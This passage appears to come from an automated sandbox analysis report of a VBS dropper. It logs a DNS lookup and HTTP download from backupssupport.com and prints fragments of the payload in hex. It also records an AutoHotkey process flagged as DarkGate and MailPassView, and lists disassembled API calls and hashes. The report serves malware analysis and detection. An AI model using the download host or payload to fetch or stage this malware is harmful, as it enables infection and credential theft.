Apr 17, 2024 06:39:56.526976109 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.526989937 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.526990891 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.527003050 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.527014017 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.527019024 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.527030945 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.527033091 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.527045965 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.527057886 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.527059078 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.527071953 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.527079105 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.527086973 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.527090073 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.527113914 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.527133942 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.527192116 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.679419041 CEST	80	49730	205.234.201.153	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2024 06:39:54.504625082 CEST	64502	53	192.168.2.4	1.1.1.1
Apr 17, 2024 06:39:54.823066950 CEST	53	64502	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 17, 2024 06:39:54.504625082 CEST	192.168.2.4	1.1.1.1	0x543e	Standard query (0)	backupssupport.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 17, 2024 06:39:54.823066950 CEST	1.1.1.1	192.168.2.4	0x543e	No error (0)	backupssupport.com		205.234.201.153	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

backupssupport.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	205.234.201.153	80	6640	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Apr 17, 2024 06:39:54.987380981 CEST	330	OUT	GET /fykbmgsz HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: backupssupport.com Connection: Keep-Alive
Apr 17, 2024 06:39:55.488548994 CEST	1289	IN	HTTP/1.1 200 OK Connection: close Content-Disposition: attachment; filename="fykbmgsz" Content-Type: application/octet-stream Content-Length: 795674 Date: Wed, 17 Apr 2024 04:39:55 GMT Data Raw: 50 4b 03 04 14 00 00 00 08 00 47 2f 90 58 5b 96 81 81 59 ef 04 00 62 8a 0e 00 08 00 00 00 74 65 73 74 2e 74 78 74 ec dd 57 82 dc 38 d2 36 ea 2d a5 37 97 69 f7 bf a4 ff 79 03 00 93 64 55 69 ba 5b fa 6e ce 11 67 5a 95 34 70 81 f0 08 04 ae 9b d7 f5 7e dd ec 37 75 1d f7 e7 c3 e9 75 3a 9c 77 87 ed e9 78 dc 9d 4e 87 cb e9 76 da 9d cf c7 eb e9 7c 7a 1d de a7 f7 f9 7a da 1f ee 87 dd f1 76 dc 1d ee be d9 1f 5d e7 db e9 78 be 1c 6e 7e 1e 0e c7 e3 e6 b0 3b 9c cf a7 f3 e5 f4 3e 5d 0e 8f f3 e1 f0 38 6e fd 7e 9d 77 c7 fd e9 7a be 1d 8e e7 cd 69 ef 8b 83 ef b6 fe d9 1e 8f a7 f3 f9 a6 d6 f3 49 0b 6a 79 7b 73 3b f8 52 5d 97 f3 f9 f0 54 ff eb bc 3f ec ce 1b ff 1e 4e 5b ad 9c 8f 97 e3 e9 f0 f6 46 dd a7 e7 e9 a8 c7 c7 d3 d6 3f bb e3 f6 7c 3d e6 7f db 73 be b8 2a 77 3e 6f 34 b2 d5 c6 e1 f0 3a ec 4e 8f d3 f1 b0 37 c2 a7 2f d3 a3 83 5f 19 d5 f6 b0 3f 3d b5 fc 36 a6 ab 77 e7 c3 f9 74 3b fa ce 38 33 d8 8b 3a ae fa e2 d6 7f 5e d6 97 27 6d 5c b5 bf 3b 5d 3d d3 83 f3 4e 6d 5b ed ee 4e 97 7c 0f 76 e0 73 78 6a 0b fc f4 f6 0d 26 7a a3 0f cf d3 e3 bc 37 f2 fd e1 71 7a 1f 4e a7 8b 96 b7 81 b6 fe 6e d4 7b 3c bd 34 b6 3f de 40 ed 7e 3a 1c ee 46 6b 16 8e 1b d0 bd 83 77 5a 3d 98 99 9d 91 f9 e1 e9 13 fc 2e 6a 07 22 b3 ba 35 19 ef c3 2d 6d 1a cc e6 f0 30 49 fb b3 06 f5 e0 60 66 77 a7 bb 9a 5f 7a 0e aa a7 cb 79 7f ba 99 9b bd 12 67 90 ba 64 56 40 52 1b d5 eb 93 39 7c 7b 72 3b 5c cf 7b 50 3d e8 6d 00 b3 3d 99 f5 63 5a d9 a9 65 7b 7a 80 d1 01 1c 55 a2 d7 b0 c2 28 dd 9b 85 73 da cd ec e8 d9 cd bb 07 18 1a 51 f5 e5 76 3a a9 67 0b ca d7 93 59 53 ea 06 03 9e c7 3d 58 04 1f 1f a0 70 32 73 77 f0 79 18 b7 59 02 6b 68 62 5c cf 63 46 73 04 ed 07 bc bd 9b b1 dd c9 d8 33 02 35 de c0 34 3d ba 1e f6 66 62 a3 67 70 1d b6 99 e3 60 a0 d9 3f fb ef 62 16 6f e6 ec ae ce bd d1 6b d4 17 17 6d 2a ea a9 1f ea 85 15 c1 06 94 f2 76 77 86 4b fa 95 b9 86 ab f0 c0 f8 bc 07 89 bd 12 57 7d cd dc 1c f5 ca 1d 38 1f 03 25 75 9a d8 d3 3d 7d 05 37 d0 33 96 bd 71 6f 8c e1 72 b8 a0 41 14 a5 b7 3e 52 5b cd d1 11 36 a4 9f 07 a3 82 5f 27 33 a9 ee 33 04 f0 df 43 af 6e 85 05 70 d7 9c 9d 82 6b 6a f3 ce ac 67 8a 36 46 7c d5 ca 3b 33 a4 b4 17 7a fd ce dc 86 32 43 51 60 fe 38 83 6e e6 52 cd d7 70 80 cc a6 de 18 97 f7 f7 c3 bd f8 c3 53 79 50 28 2a ce 9c 43 cb 20 94 3a 02 af e0 b0 ba 35 7c 41 51 ef 43 e8 f9 84 83 dc 71 12 f8 a2 b6 bb 96 15 68 b3 ab 5e a3 3a df 42 05 30 69 03 33 e0 77 b8 0d 6a 3c 99 cf 8b 52 af d4 8f 56 3c 29 1e 84 9a 60 56 6a 7e 80 85 fe ab f5 04 ef 40 0c ec ef 50 01 a6 64 9e b5 b5 87 75 a1 42 68 17 2c 30 b2 d0 0a 8a 0a f4 c0 1a ef f0 dd de 2c bc 60 4c 66 d8 4c 64 ca 81 2d df 81 b7 6f 2f b0 0c a0 e1 fb 49 79 9c 06 3e 6d 8a 77 e9 ab 59 0b be bc c1 2b 13 bb 33 af 46 a9 c5 5b 28 0b a6 ee 7c a1 f6 1a 5f 28 46 33 b0 cd 07 fe 87 bf 99 11 dc cc 13 d8 a9 e4 0e dc 0e fe 85 73 6a 3d e8 a1 5a 8f ba e9 ab 83 36 f0 9a f0 02 fc 29 bc 18 5a 82 d7 05 be ed 60 be 9e d7 88 f6 da 83 9b 19 2f fa 7f 78 7a 57 ba 70 57 3d fb f0 59 3c 39 7c 2b b8 07 8f 7d 73 f0 7d c6 6a 88 b8 20 0e a9 9d 03 9e 60 b6 f1 d1 1d 28 e2 44 85 9f 7a a3 ac 69 06 5b 7c 20 58 0c 07 95 05 b5 2d cc cc 9c 18 3d bc d7 b6 f1 9b 6f b3 1c 26 9d 52 86 a4 74 fa 0d 86 aa 8a 34 b9 04 35 cc 52 fa 90 39 d9 a1 91 48 8a 8c 55 35 c1 05 35 81 74 30 14 2c 50 00 4c 31 03 99 55 18 a3 ff 5a 34 06 bf 8f b8 2e 7e 01 2b 8e 19 9f 7f 61 93 d6 f4 17 a4 60 04 b8 86 9b 84 72 2e Data Ascii: PKG/X[Ybtest.txtW86-7iydUi[ngZ4p~7uu:wxNv\|zzv]xn~;>]8n~wziIjy{s;R]T?N[F?\|=sw>o4:N7/_?=6wt;83:^'m\;]=Nm[N\|vsxj&z7qzNn{<4?@~:FkwZ=.j"5-m0I`fw_zygdV@R9\|{r;\{P=m=cZe{zU(sQv:gYS=Xp2swyYkhb\cFs354=fbgp`?bokmvwKW}8%u=}73qorA>R[6_'33Cnpkjg6F\|;3z2CQ`8nRpSyP(*C :5\|AQCqh^:B0i3wj<RV<)`Vj~@PduBh,0,`LfLd-o/Iy>mwY+3F[(\|_(F3sj=Z6)Z`/xzWpW=Y<9\|+}s}j `(Dzi[\| X-=o&Rt45R9HU55t0,PL1UZ4.~+a`r.
Apr 17, 2024 06:39:55.488569975 CEST	1289	IN	Data Raw: a0 6e 32 60 71 30 da fc 1b 19 0e e4 e3 a7 16 d1 92 fe a0 5b 6d 44 ba 91 79 b9 07 77 d8 ed 1b 4f 7c fb f6 96 64 d0 87 bb ae c2 3f fd c6 03 b5 19 88 80 ba 86 83 9d 3b 9c 86 44 80 ab b7 eb 52 fa de c8 3b cd a9 59 f3 6a db 56 3b 27 1c 21 32 34 14 0b Data Ascii: n2`q0[mDywO\|d?;DR;YjV;'!24_U2dATy6p8rg@WTf+{@8mzzod~I>Q?)U6o'BA$ B6,g2udnj`G/=%_!l 3p6T({8> Y
Apr 17, 2024 06:39:55.488579988 CEST	1289	IN	Data Raw: 1f a4 8b 81 59 66 29 76 2b 7b 0f 1d b0 0b c3 69 42 b1 6a f1 02 37 8b ec 0a 7f 87 a9 7e 41 33 bd 7d a3 54 dd 0c 45 a7 bd ea 7d 3a fb 30 ab 9a 04 87 48 12 78 1c 8b 55 1b f1 9a dc 70 11 d3 a3 df b1 0a d1 2c 78 78 42 f2 b3 01 8a 50 69 a4 70 20 9a 59 Data Ascii: Yf)v+{iBj7~A3}TE}:0HxUp,xxBPip YhH2mOGcej*3d87G3p3EDX]4HpQUJl;_nc?N?rtW8uC^q`;))T9
Apr 17, 2024 06:39:55.488586903 CEST	1289	IN	Data Raw: fe 3e fa d3 2a fa d7 ff 4e e5 ab f1 4f f1 f7 63 7f a9 47 97 fd b5 fe 3e da df ed a6 df 1f da df c3 45 58 8d 62 42 22 eb ef 6d d3 fe 0a 53 48 54 8a a8 33 f0 d1 df c7 18 9f 30 87 e5 9b a9 07 9f c6 55 97 58 a9 44 3f 28 6d a1 6c b3 c9 d2 7c f5 e3 bd Data Ascii: >NOcG>EXbB"mSHT30UXD?(ml\|Il<(e2O~\>Vu[t=C`ffae9.gmz}k\|R0Kmj?=p;y^uG8i]zmVhoJ\;'u~/qq/e~_
Apr 17, 2024 06:39:55.488603115 CEST	1289	IN	Data Raw: a3 73 da a1 d5 a7 76 78 b2 1d 58 37 c9 30 c3 1a e3 24 02 12 4a ff e8 70 3d 77 b9 14 fa a7 ce 6b 2f 94 17 7e 19 ce 99 df e8 74 3c 4b ba 89 f0 f0 ed e5 43 45 20 d1 e9 e8 33 1f b0 b0 49 13 7b 66 ab b6 67 93 7d 17 bb 5d 52 23 3c 85 d5 78 f8 f6 65 4a Data Ascii: svxX70$Jp=wk/~t<KCE 3I{fg}]R#<xeJpWPIc#_)8dR`bfGSg2(Q_K*J}j%}1iy[h/Nu\|5%\|3G\7'7 <\|}
Apr 17, 2024 06:39:55.488614082 CEST	1289	IN	Data Raw: 6d 80 69 b1 92 e2 85 e2 63 b1 9f 3d d0 b3 43 33 fb e8 d8 74 79 b2 e5 33 c9 37 db c8 e6 ed fd 36 6a d8 7b 0a 1b df 0b cb ad 6f f0 0a 1e e0 af d1 03 b3 83 7b f0 57 cb 30 fa 71 b3 47 98 8f e8 f2 b4 6b 72 ab ce c0 67 ff b6 97 f7 fc d8 c6 0a 35 4e 75 Data Ascii: mic=C3ty376j{o{W0qGkrg5Nuf?$)D{mkk4_kvhjW\|9Y$zj)i5<o66_zIBxGixFM]h#9j1yYZlH#\j#}>K`;_<
Apr 17, 2024 06:39:55.488626957 CEST	1289	IN	Data Raw: 8d 87 7f 0c 4e f0 cb 72 30 d5 35 c7 47 f8 fe be 8d e7 70 ef 3b 4a 36 53 33 f9 3d 49 fa d8 d2 b1 64 23 9f a3 ab 0d bd 32 de 8b 74 54 64 84 15 3d f3 5c ff ee 79 6f cd 4f de 0d 4a f2 1b be e7 5f b8 5c 76 76 68 e3 d3 56 e3 2e 4d 53 20 a7 42 77 b3 7e Data Ascii: Nr05Gp;J6S3=Id#2tTd=\yoOJ_\vvhV.MS Bw~Xf*OZU%\|9w(myf\|0m,_g:&nGI#KTW?~y8auV)IGs`\|T&8~/:
Apr 17, 2024 06:39:55.488640070 CEST	1289	IN	Data Raw: 27 01 08 f3 95 f4 41 39 81 ce 78 23 84 d6 a6 82 8d c5 85 1a 98 ba 2e 77 b4 1a d2 74 e9 05 c5 e9 4d d7 95 9c bb 59 b5 f1 dc dc ae 5c 49 ad 0f 85 43 15 cb 9d 48 a4 5b 59 03 ef e1 11 a3 47 a0 ae f8 32 ca 1f cb 01 53 38 1e 2c af 6c d3 60 a8 9b 26 52 Data Ascii: 'A9x#.wtMY\ICH[YG2S8,l`&Rj"D\ngIZilQu/QpXGj!u{{;}}l=E'8roaCj\|8e<@q\|x29d39~61+kQg/~x5
Apr 17, 2024 06:39:55.488651037 CEST	1289	IN	Data Raw: 54 23 64 8b d6 d3 8c b0 38 5a c3 b4 e3 eb 1f 8f b1 af bf d7 1c 07 8f 9e d1 be 8c 11 4b 46 4f 7e 07 07 87 3e b5 b9 c2 3f 3b d6 12 a3 d2 35 b0 2c 7d 15 9e c0 0b eb 67 d7 89 2f d2 81 cc 42 70 ec 32 7b 6a d9 c8 7d 96 73 06 9f 19 1a 2c e9 5e 1c 96 b3 Data Ascii: T#d8ZKFO~>?;5,}g/Bp2{j}s,^L6u3 $J3$Cr"~s I,`9/Ku?Rh$YdpE60wk}^LV},;/7&c"?l9;pYs_}ivY#_}
Apr 17, 2024 06:39:55.488662004 CEST	272	IN	Data Raw: d2 94 ab 07 2c 6e a4 19 00 54 ed 8b e8 05 80 5b 7d 8b b7 77 8d 9f 17 12 12 a7 2d 38 c3 0e ca 7e 84 36 c2 d8 41 d9 ab 15 7b 29 5e 7f 7f 49 c4 18 50 98 a7 0c 4e d9 93 d2 61 d1 e3 1a 78 2a 73 8e 0f 52 24 18 13 c4 72 84 a8 c2 ed b0 1a 76 6d ce bf ca Data Ascii: ,nT[}w-8~6A{)^IPNaxsR$rvm&(9?j<S&w+/:+6OYp'g73;x2hn;<eO(qzN&=l'b6<G{/K'<?X
Apr 17, 2024 06:39:55.641962051 CEST	1289	IN	Data Raw: 1c 1b 70 f8 37 e9 11 3c eb 0e 71 44 dd b6 91 f2 ab c3 57 da 7d ec 79 ec 88 6e 8f d3 4f 9a 7d f4 f4 8b 55 8a 7c 4b e9 ab 55 0e b1 9a a1 fe 7b 60 59 9e 4e 96 ce 16 27 7c 09 84 73 74 9c fd 52 e5 b5 c4 8a 48 70 ef 28 8c dd 7e 86 18 fc 79 d9 7d 47 c0 Data Ascii: p7<qDW}ynO}U\|KU{`YN'\|stRHp(~y}Gs$e8\|m\|l"bfVavJ?fUH<aweE,7U^ifORQS5_8&;jMA//IKb,,WK>

Target ID:	0
Start time:	06:39:53
Start date:	17/04/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs"
Imagebase:	0x7ff68fd10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:39:56
Start date:	17/04/2024
Path:	C:\NwiQ\AutoHotkey.exe
Wow64 process (32bit):	true
Commandline:	"C:\NwiQ\Autohotkey.exe" "c:\NwiQ\script.ahk"
Imagebase:	0x400000
File size:	913'920 bytes
MD5 hash:	A59A2D3E5DDA7ACA6EC879263AA42FD3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DarkGate, Description: Yara detected DarkGate, Source: 00000001.00000002.1665821526.00000000048AA000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 4%, ReversingLabs Detection: 1%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	58.5%
Signature Coverage:	6.1%
Total number of Nodes:	1827
Total number of Limit Nodes:	45

Executed Functions

Function 004014E4 Relevance: 76.3, APIs: 40, Strings: 3, Instructions: 1095windowtimeclipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 0040150F
CloseClipboard.USER32 ref: 0040151B
SetTimer.USER32(0002044A,00000009,0000000A), ref: 004015C4
GetTickCount.KERNEL32 ref: 004015E9
GetMessageW.USER32(?,00000000,00000000,-00000311), ref: 00401630
GetTickCount.KERNEL32 ref: 0040163B
GetFocus.USER32 ref: 004016D4

Strings

8&, xrefs: 00401613
6Dd, xrefs: 00401646, 004025F2
#32770, xrefs: 00401DD0

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick$ClipboardCloseFocusGlobalMessageTimerUnlock
String ID: #32770$6Dd$8&
API String ID: 2919891889-3320845119
Opcode ID: d66acf2f5b038708fbdfcca2c87ba31abefd78b60b051c17a0b86c35794dbe50
Instruction ID: c40d62707e414facf4d416d366af1b78ea6665447dcfaa81340ce19929726241
Opcode Fuzzy Hash: d66acf2f5b038708fbdfcca2c87ba31abefd78b60b051c17a0b86c35794dbe50
Instruction Fuzzy Hash: BC929F709083419BDB24DF24C98876B77E1AB85304F18457FE985AB3E1D7B8EC41CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 04846735 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 04846750
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0484676E
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0484678C
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 048467AA
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,04846839,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 048467F3
RegQueryValueExA.ADVAPI32(?,048469B5,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,04846839,?,80000001), ref: 04846811
RegCloseKey.ADVAPI32(?,04846840,00000000,00000000,00000005,00000000,04846839,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 04846833
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 04846850
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 0484685D
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 04846863
lstrlen.KERNEL32(00000000), ref: 0484688E
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 048468E3
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 048468F3
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 0484691F
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 0484692F
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 04846959
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 04846969

Strings

Software\Borland\Locales, xrefs: 04846764, 04846782
Software\Borland\Delphi\Locales, xrefs: 048467A0

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: bbd6538e6d1c43fe6041bcfa3e9533f272581454ed2a7b0a309baf20fadfc721
Instruction ID: cced0f7f03277c3bc0bde36223db55b550a74456c66866b81b93b4dcafafca48
Opcode Fuzzy Hash: bbd6538e6d1c43fe6041bcfa3e9533f272581454ed2a7b0a309baf20fadfc721
Instruction Fuzzy Hash: FF6165B1E0020DBEFB11DAE8CC49FEFB7BC9B89704F404651A545F6181E7F8AA848B51

Uniqueness

Uniqueness Score: -1.00%

Function 00401EF4 Relevance: 30.3, APIs: 14, Strings: 3, Instructions: 528windowthreadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004015E9
GetMessageW.USER32(?,00000000,00000000,-00000311), ref: 00401630
GetTickCount.KERNEL32 ref: 0040163B
GetForegroundWindow.USER32 ref: 00401D9A
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00401DAD
GetClassNameW.USER32(00000000,?,00000020), ref: 00401DCA
IsDialogMessageW.USER32(00000000,?), ref: 0040316C
SetCurrentDirectoryW.KERNEL32(004B0CF8), ref: 00403194

Strings

8&, xrefs: 00401613
6Dd, xrefs: 00401646
#32770, xrefs: 00401DD0

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountMessageTickWindow$ClassCurrentDialogDirectoryForegroundNameProcessThread
String ID: #32770$6Dd$8&
API String ID: 3752270653-3320845119
Opcode ID: c339f24e7893fe42b00ed86886aa114e0e565fd1beb847350322579138385d39
Instruction ID: 3cc67100834623ee9eae678e2b4d6fd3e59ff814be5be24b81a93013b3d4dfe5
Opcode Fuzzy Hash: c339f24e7893fe42b00ed86886aa114e0e565fd1beb847350322579138385d39
Instruction Fuzzy Hash: CB12A3719043429BDB258F28C98476BB7E5BB85304F19457FE845AB3E0D778DC42CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00481EC0 Relevance: 21.2, APIs: 14, Instructions: 174
windowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,?,?,00000000,FFFFFF61,00000000,00000000,00000000), ref: 00481ED9
EnumResourceNamesW.KERNEL32 ref: 00481F26
FindResourceW.KERNEL32(00400000,00400000,0000000E), ref: 00481F3F
LoadResource.KERNEL32(00400000,00000000), ref: 00481F4F
LockResource.KERNEL32(00000000), ref: 00481F5E
GetSystemMetrics.USER32(0000000B), ref: 00481F86
FindResourceW.KERNEL32(00400000,?,00000003), ref: 00481FE6
LoadResource.KERNEL32(00400000,00000000), ref: 00481FF4
LockResource.KERNEL32(00000000), ref: 00481FFF
SizeofResource.KERNEL32(00400000,00000000,00000001,00030000,00000000,00000000,00000000), ref: 0048201A
CreateIconFromResourceEx.USER32(00000000,00000000), ref: 00482022
FreeLibrary.KERNEL32(00400000), ref: 0048204D
ExtractIconW.SHELL32(00000000,?,?), ref: 00482062
ExtractIconW.SHELL32(00000000,?,-00000001), ref: 0048207F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Resource$IconLoad$ExtractFindLibraryLock$CreateEnumFreeFromMetricsNamesSizeofSystem
String ID:
API String ID: 2349713634-0
Opcode ID: 71fcffbb989d2cc579252a8f0588b47a8fde31afda6c5b6f58fbc39483ebfcdc
Instruction ID: cf0750a6d69fb2dd84317325baf1e51a53ca3267621c331d5fd8fddb3d20f19d
Opcode Fuzzy Hash: 71fcffbb989d2cc579252a8f0588b47a8fde31afda6c5b6f58fbc39483ebfcdc
Instruction Fuzzy Hash: D8511871605310ABD3206F689D44B7FBB9CEB45751F450E2BFE46D62A0D378C801C769

Uniqueness

Uniqueness Score: -1.00%

Function 004517E0 Relevance: 20.0, APIs: 6, Strings: 5, Instructions: 797COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0045192D
__wcsnicmp.LIBCMT ref: 0045198E
_memset.LIBCMT ref: 00451A31
__wcstoui64.LIBCMT ref: 00451BC0
FreeLibrary.KERNEL32(?), ref: 0045211A

Strings

, xrefs: 004518D1
Int, xrefs: 004519AC
CDecl, xrefs: 00451921, 00451988
This DllCall requires a prior VarSetCapacity., xrefs: 00451CB8
DllCall, xrefs: 0045184A, 004519CA, 00451D0D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsnicmp$FreeLibrary__wcstoui64_memset
String ID: $CDecl$DllCall$Int$This DllCall requires a prior VarSetCapacity.
API String ID: 886327013-3585077685
Opcode ID: f7f1b444cf1eeba4568a0b5e1ca36cf6d060be7ccff34da2824006bd5bfca268
Instruction ID: ad3ab744a547d557392350973ade422c674137b3fe615dc0840b2f4eea0dbc38
Opcode Fuzzy Hash: f7f1b444cf1eeba4568a0b5e1ca36cf6d060be7ccff34da2824006bd5bfca268
